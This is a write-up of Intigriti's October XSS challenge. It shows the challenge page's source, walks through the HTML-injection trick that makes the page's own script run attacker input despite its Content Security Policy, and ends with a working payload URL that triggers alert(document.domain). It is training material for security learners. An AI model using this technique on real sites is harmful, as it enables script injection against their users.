owned this note
owned this note
Published
Linked with GitHub
# Writeup: Intigriti's October XSS challenge By @0xTib3rius
Challenge link: https://challenge-1021.intigriti.io/
## Source code
Removed styles and bats svg, sorry bats!
``` html
<html lang="en">
<head>
<title>BOOOOOOO!</title>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
/>
</head>
<body id="body">
<div class="wrapper"">
<div class=" bat-overlay">
</div>
<script nonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
<script nonce="782f54dcdc1c6b97c986bf4772ae9b56">
window.addEventListener("DOMContentLoaded", function () {
e = `)]}'` + new URL(location.href).searchParams.get("xss");
c = document.getElementById("body").lastElementChild;
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
let s = document.createElement("script");
s.type = "text/javascript";
s.appendChild(document.createTextNode(e));
document.body.appendChild(s);
});
</script>
</div>
<!-- !!! -->
<div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>
</body>
<div id="container">
<span>I</span>
<span id="extra-flicker">N</span>
<span>T</span>
<span>I</span>
<div id="broken">
<span id="y">G</span>
</div>
<span>R</span>
<div id="broken">
<span id="y">I</span>
</div>
<span>T</span>
<span>I</span>
</div>
</html>
```
## Analysis
There are two important parts:
``` js
window.addEventListener("DOMContentLoaded", function () {
e = `)]}'` + new URL(location.href).searchParams.get("xss");
c = document.getElementById("body").lastElementChild;
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
let s = document.createElement("script");
s.type = "text/javascript";
s.appendChild(document.createTextNode(e));
document.body.appendChild(s);
});
```
and
``` html
<!-- !!! -->
<div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>
```
For first part, we need to let `e` to be a valid JS code. In order to achieve that, we need `c.id === "intigriti"` be true so we can add string before `)]}'`
It's obviously the string we want to prepend to `e` should have `'`, so `e` become something like `'xxx)]}'` which is just a JS string, and then we use `xss` to append `;alert(document.domain)` to trigger XSS.
So, the question is, how do we control `f` and put a single quote in it?
First, `document.getElementById("body").lastElementChild;` should have id `intigriti`, but last element is `<div id="container">` for now, what should we do?
We can use `?html` to inject arbitrary HTML code to have a un-closed div, like this:
``` html
?html=</h1></div><div id="intigriti"><div>
```
part of response(I modified the format a little bit and add comment to make it more readable):
``` html
<!-- !!! -->
<div id="html" class="text">
<!-- we clode h1 and id=html div via </h1></div> -->
<h1 class="light"></h1>
</div>
<!-- we create a new div with id intigriti, which has no matching </div> -->
<div id="intigriti">
<!-- we create another div to "consume" a </div> -->
<div></div>
<!-- !!! -->
<div class="a">'"</div>
</body>
<div id="container">
<span>I</span>
<span id="extra-flicker">N</span>
<span>T</span>
<span>I</span>
<div id="broken">
<span id="y">G</span>
</div>
<span>R</span>
<div id="broken">
<span id="y">I</span>
</div>
<span>T</span>
<span>I</span>
</div>
```
DOM:
![](https://i.imgur.com/h8j4cmx.png)
We successfully create a `<div id="intigriti">` to wrap all the elements, make `if (c.id === "intigriti") {` to be true.
What's next? Let's take a look at the snippet below:
``` js
if (c.id === "intigriti") {
l = c.lastElementChild;
i = l.innerHTML.trim();
f = i.substr(i.length - 4);
e = f + e;
}
```
For now, `c.lastElementChild` is `<div id="container">`, so `f` is `pan>`.
Our mission is to control `c.lastElementChild` and let last 4 character of innerHTML to be `'xxx`(`x` stands for any characters).
I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".
After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is `element` itself.
For example, if last element is something like this:
``` html
<div>
<a'bc>
whatever
</a'bc>
</div>
```
Then innerHTML is:
``` html
<a'bc>
whatever
</a'bc>
```
Last 4 characters is `'bc>`, exactly what we want! We don't need to insert an element after `<div id=container>` , we just create a custom tag with single quote and wrap it, that's all!
So, here is the payload:
```
https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>
```
DOM:
![](https://i.imgur.com/qyefP8x.png)